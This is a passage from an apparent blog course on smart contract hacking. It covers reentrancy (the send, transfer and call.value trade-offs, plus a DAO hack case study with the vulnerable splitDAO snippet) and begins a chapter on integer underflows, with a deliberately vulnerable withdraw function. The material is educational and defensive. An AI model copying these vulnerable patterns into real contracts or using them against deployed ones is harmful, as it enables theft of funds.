<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Implement these changes in your contract. </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Redeploy both contracts making sure to update
the address of the target contract in the attacker’s contract</p><p class="MsoListParagraphCxSpLast" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Try this attack again, following the steps from
above and observe how the results vary</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l3 level1 lfo7; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">With this simple change, our contracts balance is not
decreased with each call to the withdraw function only the attackers balance is
reduced until the attacker runs out of funds. If the attacker were to keep calling
this function, the require check at the beginning of the function would fail as
soon as the attacker ran out of funds. However, due to the usage of Call.Value and
the lack of error handling, the funds may be incorrectly handled in the
contract and error checking must be manually implemented. This is what we will look
at next in regards to low level vs high level transfer functions. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892501">Send vs Transfer Vs Call.Value</a></h2>
<p class="MsoNormal">Another relevant topic is that of the ways to transfer funds
within Solidity. The “call” which was used in the withdraw function is a
low-level function which can lead to issues and is largely replaced by the
usage of Send or Transfer. Let’s break
these out and explain them: <o:p></o:p></p>
<p class="MsoNormal">Call.value()()<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Returns false on failure</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Forwards available gas</p><p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Low level function</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l1 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l1 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l1 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal">Call.Value is dangerous because it forwards all of the
available gas allowing for a reentrancy attack. It also does not return an
error message and requires you to parse out the return Boolean value and
perform an action based on this check. For example, if you were to make changes
in the effects prior to the call.value, you may need to manually revert these
changes as part of your error checking actions. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Send()<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Returns false on failure</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Forwards a gas value of 2300</p><p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Low level function</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal">The send function limits the gas value to 2300 which helps
prevent a reentrancy as there is a limit to how much the function can actually
do before it fails. However, this is also a low-level function and you must be
mindful of the lack of errors when this does fail exactly like the Call.value. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Transfer()<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Actually, throws an error on failure</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Forwards a gas value of 2300</p><p class="MsoListParagraphCxSpLast" style="mso-list: l7 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;">ü<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->High level function</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l7 level1 lfo6; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">The transfer function provides a gas limit like the Send
function but additionally provides an error and will revert changes made to the
user’s balance. <o:p></o:p></p>
<p class="MsoNormal">All of these functions are available for sending value out
of the contract, however, only use low level functions with caution, and make
sure to do error checking and make decisions on those errors. This will prevent
hidden bugs in your code from error conditions. Also make sure to properly
follow the checks, effects, interactions pattern in your code. <o:p></o:p></p>
<h2><o:p> </o:p></h2>
<h2><a name="_Toc47892502">Case Study – The Dao Hack</a><o:p></o:p></h2>
<p class="MsoNormal">The DAO attack was the most famous blockchain attack ever
performed. The DAO was a venture capital fund which pooled investors Ether for
funding projects much like a crowdfunding application. The project initially
raised 12.7 million Ether which at the time was equal to about 150 million
dollars. <o:p></o:p></p>
<p class="MsoNormal">This Smart Contract contained a SplitDao function meant for
removing funds into a child DAO when a user didn’t like a majority decision of
how to use funds. However, a Reentrancy vulnerability within the split function
was found that ultimately allowed the attacker to remove 3.6 million Ether from
the contract. This was a lot of money, but the bigger issue was the decision
made by the Ethereum community to roll back the transaction, and give the users
their funds back. As this violates the immutability of the blockchain. This should
never happen again, but due to the immaturity of the network at the time, they
felt it was needed. <o:p></o:p></p>
<p class="MsoNormal">This is the only time the Ethereum network violated the
immutability of the blockchain and rolled back transactions on the Ethereum
blockchain. The decision created a major
idealistic split in the Ethereum community resulting in a hard fork of the
network. Because of this split we now Ethereum classic and Ethereum. The
network hard forked into two separate chains. One that contains the loss of
funds on Ethereum Classic and one chain that does not contain the rollback,
which is what we know as Ethereum. <o:p></o:p></p>
<p class="MsoNormal">Below we can see a snipped version of the original SplitDAO
function which contained the issue: <o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> splitDAO(<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">uint</span><span style="color: white;"> _proposalID,<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> address _newCurator<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> noEther onlyTokenholders returns (</span><span style="color: #e28964;">bool</span><span style="color: white;"> _success)) {<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">6.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><i><span style="color: #aeaeae;">//Snipped lines for Readability</span></i><span style="color: white;"><o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">7.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #89bdff;">Transfer</span><span style="color: white;">(msg.sender, </span><span style="color: indianred;">0</span><span style="color: white;">, balances[msg.sender]);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">8.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> withdrawRewardFor(msg.sender); <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">9.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">10.</span><!--[endif]--><span style="color: white;"> totalSupply -= balances[msg.sender]; <o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">11.</span><!--[endif]--><span style="color: white;"> balances[msg.sender] = </span><span style="color: indianred;">0</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">12.</span><!--[endif]--><span style="color: white;"> paidOut[msg.sender] = </span><span style="color: indianred;">0</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">13.</span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">return</span><span style="color: white;"> </span><span style="color: #e28964;">true</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">14.</span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">If you take a look at lines 7-11 you will see a violation of
our Checks <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">à</span>
Effects <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">à</span>
Interactions pattern. <o:p></o:p></p>
<p class="MsoNormal">On line 7-8 the contract is making withdrawal calls.
However, following these withdrawals, the balances are updated on lines 10-11.
If the attacker were to call back into the splitDao function when the
interaction happened on line 8 then the attacker is able to drain the contract
of millions of dollars. The balances are never updated until the attackers code
is finished with its functionality. <o:p></o:p></p>
<h2><o:p> </o:p></h2>
<h2><a name="_Toc47892503">Reentrancy Summary</a><o:p></o:p></h2>
<p class="MsoNormal">In this chapter we took a look at secure coding patterns and
high vs low level functions. We then interacted with vulnerable smart contracts
that violated these secure coding principals. We exploited and fixed these
issues ourselves in order to show how simple mistakes lead to huge losses in
the case of attacks such as the famous DAO attack. <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892504">Reentrancy References</a></h2><div><a name="_Toc47892504">Github For this Blog: </a></div><div><a href="https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/reentrancy" name="_Toc47892504" target="_blank"><span style="color: #6fa8dc;">https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/reentrancy</span></a></div>
<p class="MsoNormal"><span style="color: #6fa8dc;"><a href="https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/" target="_blank">https://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/</a><o:p></o:p></span></p>
<span face="" style="color: #6fa8dc; font-size: 11pt; line-height: 107%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><a href="https://medium.com/@ogucluturk/the-dao-hack-explained-unfortunate-take-off-of-smart-contracts-2bd8c8db3562" target="_blank">https://medium.com/@ogucluturk/the-dao-hack-explained-unfortunate-take-off-of-smart-contracts-2bd8c8db3562</a></span>Ficti0nhttp://www.blogger.com/profile/10756896998856282829noreply@blogger.com0tag:blogger.com,1999:blog-5948768001255972621.post-36521715105949959292020-08-30T22:59:00.001-07:002020-08-30T23:23:40.628-07:00Smart Contract Hacking Chapter 3 – Attacking Integer Underflows and Overflows<p><span style="color: #93c47d;"> </span></p><div style="text-align: left;"><span style="color: #93c47d;">Integer overflow and underflows often
occur when user supplied data controls the value of an unsigned integer. The
user supplied data either adds to or subtracts beyond the limits the variable type
can hold. If you remember back to your computer science class, each variable
type can hold up to a certain value length. You will also remember some
variable types only hold positive numbers while others hold positive and
negative numbers. The types of numbers
they are allowed to hold is based on their “signedness.” An unsigned integer
can only hold positive numbers while a signed integer can hold positive and
negative numbers. We will get to the significance of that in a short bit.</span></div><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;"><o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">If you violate the value
constraints of the variable type you are using, the application may act in
unintended ways. For example, the overflow may result in an error condition for
accessing out of bounds items or perhaps cutting the number off at the maximum
or minimum value. This usually depends on the language in use, the context in
which the value is used or the decisions taken by the programmer when flagging
error conditions. If un-handled, the error from an attacker’s perspective is
usually an opportunity for exploitation. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">For example, if you were
calculating a number for an authorization check within an application and the
calculation contains an unchecked value with user-controlled data. Then an
attacker may be able to bypass authorization restrictions with that
user-controlled data and gain additional access to unintended services. For example,
overflowing a larger unsigned value to a more advantageous value, such as zero
or one, these lower values could bypass security checks. The first (“1”) value in
a dataset is often indicative of an administrator who set up the application
and may create a situation to persist actions with administrative context. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">In the Solidity language for
Ethereum, when we overflow a uint value using a value larger than our uint can
hold, the value wraps back around to a number it understands. The lowest or
highest possible value the uint can hold. For example, if we have a variable
that can only hold a 2-digit number when the number 99 is reached and then incremented
one more time, we will end up with 00. Inversely if we had 00 and we
decremented 1 we would end up with 99.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Normally in your math class the
following would be true:<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">99 + 1 = 100<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">00 - 1 = -1<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">In solidity with unsigned numbers
the following is true:<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">99 + 1 = 00<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">00 - 1 = 99<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p><span style="color: #93c47d;"> </span></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">So, the issue lies with the
assumption that a number will provide a correct value in mathematical
calculations when indeed it does not. Comparing a variable with a require
statement is not sufficiently accurate after performing a mathematical operation
that overflows a value, but that does not check that the value is accurate in
the context of the mathematical operation.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">In an overflow conditions the
comparison with a require statement may very well be comparing the output of an
over/under flowed value and be completely meaningless. The “Require” statement
may return true, but not based on the actual intended mathematical value. <o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">This in turn will lead to an action
performed which is beneficial to the attacker, for example, checking a low
value required for a funds validation but then receiving a very high value sent
to the attacker after the initial check. Let’s go through a few examples.<o:p></o:p></span></p><p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;"><br /></span></p>
<h2><span style="color: #93c47d;">Simple Underflow Example:<o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Let’s say we have the following
Require check as an example:</span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: #e28964;">require</span><span style="color: white;"> (balance - withdraw_amount > </span><span style="color: indianred;">0</span><span style="color: white;">);<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: white;"> </span> <o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Now the above statement seems
reasonable, if the users balance minus the withdrawal amount is less than 0 then
obviously, they don’t have the money for this transaction correct?<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">This transaction should fail and
produce an error because not enough funds are held within the account for the
transaction. But what if we have 5 dollars and we withdraw 6 dollars using the
scenario above and our variable can hold 2 digits with an unsigned integer?<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Let's do some math.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">5 - 6 = 99<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Last I checked 99 is greater than 0
which poses an interesting problem. Our check says we are good to go, but our
account balance isn't large enough to cover the transaction. The check will
pass because the underflow creates the wrong value which is greater than 0 and
more funds then the user has will be transferred out of the account.<o:p></o:p></span></p>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">Because the following math returns
true:</span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-color-alt: windowtext; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white; mso-color-alt: windowtext;"> </span><span style="color: #e28964;">require</span><span style="color: white;"> (</span><span style="color: indianred;">99</span><span style="color: white;"> > </span><span style="color: indianred;">0</span><span style="color: white;">) <o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: 115%;"><o:p> </o:p></p>
<h2><span style="color: #93c47d;"><a name="_Toc47892480">Withdraw Function Vulnerable to an underflow</a><o:p></o:p></span></h2>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">The below example snippet of code
illustrates a withdraw function with an underflow vulnerability:</span><o:p></o:p></p>
<div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">1.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> _amount){<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">2.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> </span><span style="color: #e28964;">require</span><span style="color: white;">(balances[msg.sender] - _amount > </span><span style="color: indianred;">0</span><span style="color: white;">);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">3.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> msg.sender.transfer(_amount);<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">4.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> balances[msg.sender] -= _amount;<o:p></o:p></span></pre><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: none; margin-left: 0.25in; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";">5.<span style="font-family: "Times New Roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="color: white;"> }<o:p></o:p></span></pre></div>
<p class="MsoNormal" style="line-height: 115%;"><span style="color: #93c47d;">In this example, the require on
line 2 checks that the balance is greater than 0 after subtracting the _amount.
However, if the _amount is greater than the balance, it will underflow resulting
in a large value greater than 0. So even though the require check should fail the
